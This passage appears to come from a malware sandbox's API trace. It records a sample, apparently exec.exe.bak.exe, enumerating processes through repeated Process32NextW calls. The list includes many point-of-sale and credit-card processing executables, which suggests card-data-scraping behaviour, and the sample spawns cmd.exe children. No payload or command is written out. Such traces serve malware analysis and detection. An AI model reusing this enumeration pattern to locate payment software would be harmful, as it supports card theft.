pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0111.729] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0111.730] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0111.731] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0111.735] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0111.739] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0111.741] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0111.742] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0111.743] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0111.744] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0111.745] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0111.751] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0111.752] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0111.753] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0111.754] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0111.755] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0111.756] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0111.757] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0111.758] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="nascar_challenges.exe")) returned 1 [0111.759] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments characterized converter.exe")) returned 1 [0111.760] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mlb-noon-origin.exe")) returned 1 [0111.761] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.762] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1064, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0111.839] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0111.840] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0111.844] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0111.845] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x119c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0111.846] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0111.846] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0111.847] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x11a4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0111.848] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1188, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0111.849] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.850] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="exec.exe.bak.exe")) returned 1 [0111.850] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="exec.exe.bak.exe")) returned 1 [0111.853] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0111.853] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0111.854] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x100c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1164, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0111.855] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1024, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xef0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0111.856] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0111.859] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 0 [0111.860] CloseHandle (hObject=0x310) returned 1 [0111.860] Sleep (dwMilliseconds=0x1f4) [0114.087] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x330 [0114.103] Process32FirstW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0114.104] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0114.104] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0114.105] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0114.105] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0114.106] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0114.107] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0114.108] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0114.108] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0114.109] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.109] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0114.110] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0114.111] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.111] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0114.112] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x59, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.113] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.113] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.114] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.115] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.115] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.116] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.116] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.117] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.117] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.118] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0114.118] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.119] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0114.119] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0114.120] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.121] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0114.122] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0114.766] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0114.767] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0114.767] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0114.768] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0114.768] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0114.769] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0114.770] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0114.770] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="actuallyutilization.exe")) returned 1 [0114.770] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0114.771] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="midnight_conclusions_venezuela.exe")) returned 1 [0114.772] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="capture guardian kits.exe")) returned 1 [0114.772] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="nursing op deputy.exe")) returned 1 [0114.773] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, 